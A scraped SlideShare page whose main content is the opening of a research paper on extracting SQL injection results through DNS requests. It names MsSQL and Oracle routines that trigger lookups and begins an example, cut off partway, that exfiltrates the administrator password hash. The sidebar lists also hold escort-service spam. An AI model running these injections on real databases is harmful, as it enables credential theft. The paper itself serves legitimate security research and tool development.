Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...ProstirUA
 
Kem motivasi tahun 6
Kem motivasi tahun 6Kem motivasi tahun 6
Kem motivasi tahun 6Laila Mustafa
 
Kejohanan balapan & padang
Kejohanan balapan & padangKejohanan balapan & padang
Kejohanan balapan & padangLaila Mustafa
 
redBorder: Open or die
redBorder: Open or dieredBorder: Open or die
redBorder: Open or dieNextel S.A.
 
Program pss bersama kartunis
Program pss bersama kartunisProgram pss bersama kartunis
Program pss bersama kartunisLaila Mustafa
 
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)Laila Mustafa
 
Pelancaran bulan kecergasan 6 Julai 2013
Pelancaran bulan kecergasan 6 Julai 2013Pelancaran bulan kecergasan 6 Julai 2013
Pelancaran bulan kecergasan 6 Julai 2013Laila Mustafa
 
Mtaq daerah seremban
Mtaq daerah serembanMtaq daerah seremban
Mtaq daerah serembanLaila Mustafa
 
Psychological science and beliefs
Psychological science and beliefsPsychological science and beliefs
Psychological science and beliefsLance Jones
 
Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1Zekai Uçan
 
CHS Reunion Slide Show 2001
CHS Reunion Slide Show 2001CHS Reunion Slide Show 2001
CHS Reunion Slide Show 2001kbexter
 
Konvensyen doktor muda daerah seremban
Konvensyen doktor muda daerah serembanKonvensyen doktor muda daerah seremban
Konvensyen doktor muda daerah serembanLaila Mustafa
 
Administracion de sistemas
Administracion de sistemasAdministracion de sistemas
Administracion de sistemaskitty-katita
 

Andere mochten auch (20)

Non-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & TricksNon-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & Tricks
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internals
 
NCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios appsNCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios apps
 
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
 
Kem motivasi tahun 6
Kem motivasi tahun 6Kem motivasi tahun 6
Kem motivasi tahun 6
 
Kejohanan balapan & padang
Kejohanan balapan & padangKejohanan balapan & padang
Kejohanan balapan & padang
 
redBorder: Open or die
redBorder: Open or dieredBorder: Open or die
redBorder: Open or die
 
Program pss bersama kartunis
Program pss bersama kartunisProgram pss bersama kartunis
Program pss bersama kartunis
 
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)
Pelancaran ihya' ramadhan 1434 h(9 Julai 2013)
 
Pelancaran bulan kecergasan 6 Julai 2013
Pelancaran bulan kecergasan 6 Julai 2013Pelancaran bulan kecergasan 6 Julai 2013
Pelancaran bulan kecergasan 6 Julai 2013
 
Mtaq daerah seremban
Mtaq daerah serembanMtaq daerah seremban
Mtaq daerah seremban
 
Psychological science and beliefs
Psychological science and beliefsPsychological science and beliefs
Psychological science and beliefs
 
Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1Bilgi Teknolojilerinin Temel Kavramları 1
Bilgi Teknolojilerinin Temel Kavramları 1
 
CHS Reunion Slide Show 2001
CHS Reunion Slide Show 2001CHS Reunion Slide Show 2001
CHS Reunion Slide Show 2001
 
Konvensyen doktor muda daerah seremban
Konvensyen doktor muda daerah serembanKonvensyen doktor muda daerah seremban
Konvensyen doktor muda daerah seremban
 
Administracion de sistemas
Administracion de sistemasAdministracion de sistemas
Administracion de sistemas
 

Ähnlich wie Data Retrieval over DNS in SQL Injection Attacks

DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISDETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISAIRCC Publishing Corporation
 
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISDETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISijcsit
 
DNS Exfiltration and Out-of-bound attacks
DNS Exfiltration and Out-of-bound attacksDNS Exfiltration and Out-of-bound attacks
DNS Exfiltration and Out-of-bound attacksNitesh Shilpkar
 
How DNS works and How to secure it: An Introduction
How DNS works and How to secure it: An IntroductionHow DNS works and How to secure it: An Introduction
How DNS works and How to secure it: An Introductionyasithbagya1
 
Presentation on 'The Path to Resolverless DNS' by Geoff Huston
Presentation on 'The Path to Resolverless DNS'  by Geoff HustonPresentation on 'The Path to Resolverless DNS'  by Geoff Huston
Presentation on 'The Path to Resolverless DNS' by Geoff HustonAPNIC
 
DNS Advanced Attacks and Analysis
DNS Advanced Attacks and AnalysisDNS Advanced Attacks and Analysis
DNS Advanced Attacks and AnalysisCSCJournals
 
Application layer
Application layerApplication layer
Application layerSagar jethi
 
How to configure dns server(2)
How to configure dns server(2)How to configure dns server(2)
How to configure dns server(2)Amandeep Kaur
 
Deploying and configuring dns service
Deploying and configuring dns serviceDeploying and configuring dns service
Deploying and configuring dns servicelatoniasmith
 
Data Dictionary Similarities Discussion.docx
Data Dictionary Similarities Discussion.docxData Dictionary Similarities Discussion.docx
Data Dictionary Similarities Discussion.docxstudywriters
 
Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackPonraj
 

Ähnlich wie Data Retrieval over DNS in SQL Injection Attacks (20)

DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISDETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
 
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSISDETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
DETECTION OF ALGORITHMICALLYGENERATED MALICIOUS DOMAIN USING FREQUENCY ANALYSIS
 
DNS Exfiltration and Out-of-bound attacks
DNS Exfiltration and Out-of-bound attacksDNS Exfiltration and Out-of-bound attacks
DNS Exfiltration and Out-of-bound attacks
 
How DNS works and How to secure it: An Introduction
How DNS works and How to secure it: An IntroductionHow DNS works and How to secure it: An Introduction
How DNS works and How to secure it: An Introduction
 
Chapter 9 names
Chapter 9 namesChapter 9 names
Chapter 9 names
 
Presentation on 'The Path to Resolverless DNS' by Geoff Huston
Presentation on 'The Path to Resolverless DNS'  by Geoff HustonPresentation on 'The Path to Resolverless DNS'  by Geoff Huston
Presentation on 'The Path to Resolverless DNS' by Geoff Huston
 
Understanding DNS Security
Understanding DNS SecurityUnderstanding DNS Security
Understanding DNS Security
 
Cse -306
Cse -306Cse -306
Cse -306
 
RP11_XaviertTorrentGorjon
RP11_XaviertTorrentGorjonRP11_XaviertTorrentGorjon
RP11_XaviertTorrentGorjon
 
DNS - MCSE 2019
DNS - MCSE 2019DNS - MCSE 2019
DNS - MCSE 2019
 
DNS Advanced Attacks and Analysis
DNS Advanced Attacks and AnalysisDNS Advanced Attacks and Analysis
DNS Advanced Attacks and Analysis
 
Grey H@t - DNS Cache Poisoning
Grey H@t - DNS Cache PoisoningGrey H@t - DNS Cache Poisoning
Grey H@t - DNS Cache Poisoning
 
Application layer
Application layerApplication layer
Application layer
 
How to configure dns server(2)
How to configure dns server(2)How to configure dns server(2)
How to configure dns server(2)
 
Introduction
IntroductionIntroduction
Introduction
 
Deploying and configuring dns service
Deploying and configuring dns serviceDeploying and configuring dns service
Deploying and configuring dns service
 
Domain Name System (DNS)
Domain Name System (DNS)Domain Name System (DNS)
Domain Name System (DNS)
 
ENFS
ENFSENFS
ENFS
 
Data Dictionary Similarities Discussion.docx
Data Dictionary Similarities Discussion.docxData Dictionary Similarities Discussion.docx
Data Dictionary Similarities Discussion.docx
 
Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS Attack
 

Mehr von Miroslav Stampar

sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"Miroslav Stampar
 
Why everybody should do CTF / Wargames?
Why everybody should do CTF / Wargames?Why everybody should do CTF / Wargames?
Why everybody should do CTF / Wargames?Miroslav Stampar
 
Improving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic DenoiseImproving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic DenoiseMiroslav Stampar
 
APT Attacks on Critical Infrastructure
APT Attacks on Critical InfrastructureAPT Attacks on Critical Infrastructure
APT Attacks on Critical InfrastructureMiroslav Stampar
 
WARNING: Do Not Feed the Bears
WARNING: Do Not Feed the BearsWARNING: Do Not Feed the Bears
WARNING: Do Not Feed the BearsMiroslav Stampar
 
2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)Miroslav Stampar
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and NowRiding the Overflow - Then and Now
Riding the Overflow - Then and NowMiroslav Stampar
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and NowRiding the Overflow - Then and Now
Riding the Overflow - Then and NowMiroslav Stampar
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web VulnerabilityMiroslav Stampar
 
Analysis of mass SQL injection attacks
Analysis of mass SQL injection attacksAnalysis of mass SQL injection attacks
Analysis of mass SQL injection attacksMiroslav Stampar
 

Mehr von Miroslav Stampar (15)

sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"sqlmap - "One Tiny Step At a Time"
sqlmap - "One Tiny Step At a Time"
 
Blind WAF identification
Blind WAF identificationBlind WAF identification
Blind WAF identification
 
sqlmap internals
sqlmap internalssqlmap internals
sqlmap internals
 
Why everybody should do CTF / Wargames?
Why everybody should do CTF / Wargames?Why everybody should do CTF / Wargames?
Why everybody should do CTF / Wargames?
 
Improving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic DenoiseImproving Network Intrusion Detection with Traffic Denoise
Improving Network Intrusion Detection with Traffic Denoise
 
APT Attacks on Critical Infrastructure
APT Attacks on Critical InfrastructureAPT Attacks on Critical Infrastructure
APT Attacks on Critical Infrastructure
 
WARNING: Do Not Feed the Bears
WARNING: Do Not Feed the BearsWARNING: Do Not Feed the Bears
WARNING: Do Not Feed the Bears
 
2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)2014 – Year of Broken Name Generator(s)
2014 – Year of Broken Name Generator(s)
 
Smashing the Buffer
Smashing the BufferSmashing the Buffer
Smashing the Buffer
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and NowRiding the Overflow - Then and Now
Riding the Overflow - Then and Now
 
Riding the Overflow - Then and Now
Riding the Overflow - Then and NowRiding the Overflow - Then and Now
Riding the Overflow - Then and Now
 
Hash DoS Attack
Hash DoS AttackHash DoS Attack
Hash DoS Attack
 
Curious Case of SQLi
Curious Case of SQLiCurious Case of SQLi
Curious Case of SQLi
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability
 
Analysis of mass SQL injection attacks
Analysis of mass SQL injection attacksAnalysis of mass SQL injection attacks
Analysis of mass SQL injection attacks
 

Kürzlich hochgeladen

Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Paola De la Torre
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 

Kürzlich hochgeladen (20)

Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 

Data Retrieval over DNS in SQL Injection Attacks

  • 1. Data Retrieval over DNS in SQL Injection Attacks Miroslav Štampar AVL-AST d.o.o., Zagreb, Croatia miroslav.stampar@avl.com Abstract table. What is going to be described is the technique This paper describes an advanced SQL injection where attackers can retrieve results for malicious SQL technique where DNS resolution process is exploited for queries (e.g. administrator password) by provoking retrieval of malicious SQL query results. Resulting DNS specially crafted DNS requests from vulnerable Database requests are intercepted by attackers themselves at the Management System (DBMS) and intercepting those at controlled remote name server extracting valuable data. the other end, transferring dozens of resulting characters Open source SQL injection tool sqlmap [1] has been per single iteration. adjusted to automate this task. With modifications done, attackers are able to use this technique for fast and low- 2 Technique classification profile data retrieval, especially in cases where other Depending on the transport channel used for data standard ones fail. retrieval, SQLi techniques can be divided into three independent classes: inband, inference and out-of-band 1 Introduction [6][7]. Exfiltration is a military term for removal of assets Inband techniques use existing channel between from within enemy territory by covert means. It now has attackers and a vulnerable web application to extract data. an excellent modern usage in computing, meaning the Usually that channel is the standard web server response. illicit extraction of data from a system. The most covert It's member union technique2 uses existing web page data extraction method is considered to be the Domain output, while error-based technique uses provoked Name Server (DNS) exfiltration [2]. This method can specific DBMS error messages, both carrying results for even be used on systems without a public network the executed malicious SQL query. connection by resolving domain name queries outside the perimeter of trusted hosts through a series of internal and Inference techniques extract malicious SQL query external name servers. results in a bit-by-bit manner, never transferring actual data. Rather, a difference in the way an application DNS is a relatively simple protocol. Both the query behaves allows attackers to infer the value of the data. As made by a DNS client and the corresponding response the core of inference is a question [8], it consists of provided by a DNS server use the same basic DNS carrying out a series of boolean queries to the server, message format. With the exception of zone transfers, observing and finally deducing the meaning of received which use TCP for the sake of reliability, DNS messages answers. Depending upon the observed characteristics, it's are encapsulated within a UDP datagram. To someone members are called boolean-based blind and time-based monitoring a machine with a tool like Wireshark [3], a technique. In boolean-based blind technique visible covert channel implemented over DNS would look like a changes inside web server response are used for series of little blips that flash in and out of existence [4]. distinguishing answers for the given logical questions, The act of relaying DNS queries from secure systems while in time-based technique3 changes in web server to arbitrary internet-based name servers forms the basis of response times are observed4. this uncontrolled data channel. Even if we assume that Out-of-band (OOB) techniques, contrary to inband connections to public networks are not allowed, if the ones, use alternative transport channel(s) for data target host is able to resolve arbitrary domain names, data retrieval, like Hypertext Transfer Protocol (HTTP) or exfiltration is possible via forwarded DNS queries [5]. DNS resolution. Exploitation using OOB techniques When other faster SQL injection (SQLi) data retrieval becomes interesting when detailed error messages are techniques fail, data is usually retrieved in bit-by-bit disabled, results are being limited or filtered, outbound manner, which is very noisy1 and time consuming process. Thus, attackers will typically need tens of 2 Included full and partial union techniques distinguished by the number thousands of requests to retrieve content of a regular sized of resulting rows contained in web server response 3 Also included a stacked-queries technique retrieving results in same 1 manner Noisy in means of both traffic and system resources used by the 4 vulnerable web server For example, delayed response for True and regular response for False
  • 2. filter rules are lax, inference methods look like the only name query. Also, it's assumed that the name queried by option and/or when reducing the number of queries is of the client is for a domain name of which the server has no utter importance [9]. For example, in HTTP based OOB local knowledge, based on its configured zones. technique SQL query result is becoming a part of HTTP First, default DNS server parses the full name and request (e.g. GET parameter value) toward HTTP server determines that it needs the location of the server that is controlled by attackers having access to the log files. This authoritative for the Top-Level Domain (TLD) – in this class of techniques is not as much widely used in the case com. It then uses an iterative (nonrecursive) query to mainstream as others, mostly because of complexity of that server to obtain a referral for the example.com required setup, but using those many obstacles could domain. potentially be overcome (e.g. avoiding undesired database writes and huge speed improvement of time-based SQLi After it's address has been retrieved, referred server is on INSERT/UPDATE vulnerable statements). contacted – which is actually a registered name server for the example.com domain. As it contains the queried name 3 DNS resolution as part of its configured zones, it responds authoritatively back to the original server that initiated the process with When a client needs to look up a network name used the resulting IP address. inside a program, it queries DNS servers. DNS queries resolve in a number of different ways: When the original DNS server receives the response indicating that an authoritative answer was obtained for • A client can answer a query locally using cached the requested query, it forwards this answer back to the information if it was already obtained previously client and the recursive query process ends [11]. This type with an identical query. of resolution is typically initiated by the DNS server that • DNS server can use its own cache and/or zone attempts to resolve a recursive name query for the DNS record information to answer the query – this client and is sometimes being referred to as "walking the process is known as iterative. tree" [12]. • DNS server can also forward the query to other 4 Provoking DNS requests DNS servers on behalf of the requesting client to fully resolve the name, then send the answer Prerequisite for a successful DNS exfiltration of data back to the client – this process is known as from a vulnerable database is the availability of DBMS recursive [10]. subroutines that directly or indirectly provoke DNS resolution process. Those kind of subroutines are then For example, consider usage of recursion process to used by attackers in SQLi vectors. Any function that resolve the name test.example.com. It occurs when a DNS accepts network address is most probably exploitable for server and a client are first started and have no locally this kind of attack. cached information that could be used to resolve that 4.1 Microsoft SQL Server An extended stored procedure is a dynamic link library that runs directly in the address space of Microsoft SQL Server (MsSQL). There are couple of undocumented extended stored procedures that can be found particularly useful for this paper's purpose [13]. Attackers can exploit any of the following extended stored procedures to provoke DNS address resolution by using Microsoft Windows Universal Naming Convention (UNC) file and directory path format. The UNC syntax for Windows systems has the generic form: ComputerNameSharedFolderResource By using custom crafted address as a value for the field ComputerName attackers are able to provoke DNS requests. Figure 1: Recursive DNS resolution
  • 3. 4.1.1 master..xp_dirtree 4.2 Oracle Extended stored procedure master..xp_dirtree() is used Oracle supplies bundle of PL/SQL packages with it's to get a list of all folders and their subfolders inside the Oracle Database Server to extend database functionality. given folder: Couple of these are especially made for network access master..xp_dirtree '<dirpath>' making them specially interesting for this paper's purpose7. For example, to get a list of all folders and their subfolders inside the C:Windows run: 4.2.1 UTL_INADDR.GET_HOST_ADDRESS EXEC master..xp_dirtree 'C:Windows'; Package UTL_INADDR provides procedures for internet addressing support – like retrieving host names 4.1.2 master..xp_fileexist and IP addresses of local and remote hosts. Member Extended stored procedure master..xp_fileexist() is function GET_HOST_ADDRESS() retrieves the IP used to determine whether a particular file exists on the address of the specified host: disk: UTL_INADDR.GET_HOST_ADDRESS('<host>') xp_fileexist '<filepath>' For example, to get the IP address of host For example, to check whether the file boot.ini exists test.example.com run: on disk C: run: SELECT EXEC master..xp_fileexist 'C:boot.ini'; UTL_INADDR.GET_HOST_ADDRESS('test.example.c om'); 4.1.3 master..xp_subdirs 4.2.2 UTL_HTTP.REQUEST Extended stored procedure master..xp_subdirs() is Package UTL_HTTP makes HTTP callouts from SQL used to get a list of folders inside the given folder5: and PL/SQL. It's procedure REQUEST() returns up to master..xp_subdirs '<dirpath>' first 2000 bytes of data retrieved from the given address: For example, to get a list of all folders with depth 1 UTL_HTTP.REQUEST('<url>') inside the C:Windows folder run: For example, to get the first 2000 bytes of data from a EXEC master..xp_subdirs 'C:Windows'; page located at http://test.example.com/index.php run: SELECT 4.1.4 Example UTL_HTTP.REQUEST('http://test.example.com/i What follows is the example where administrator's ndex.php') FROM DUAL; (sa) password hash is being pushed through DNS resolution mechanism by usage of MsSQL's extended 4.2.3 HTTPURITYPE.GETCLOB stored procedure master..xp_dirtree()6: Instance method GETCLOB() of class DECLARE @host varchar(1024); HTTPURITYPE returns the Character Large Object (CLOB) retrieved from the given address8: SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) HTTPURITYPE('<url>').GETCLOB() FROM 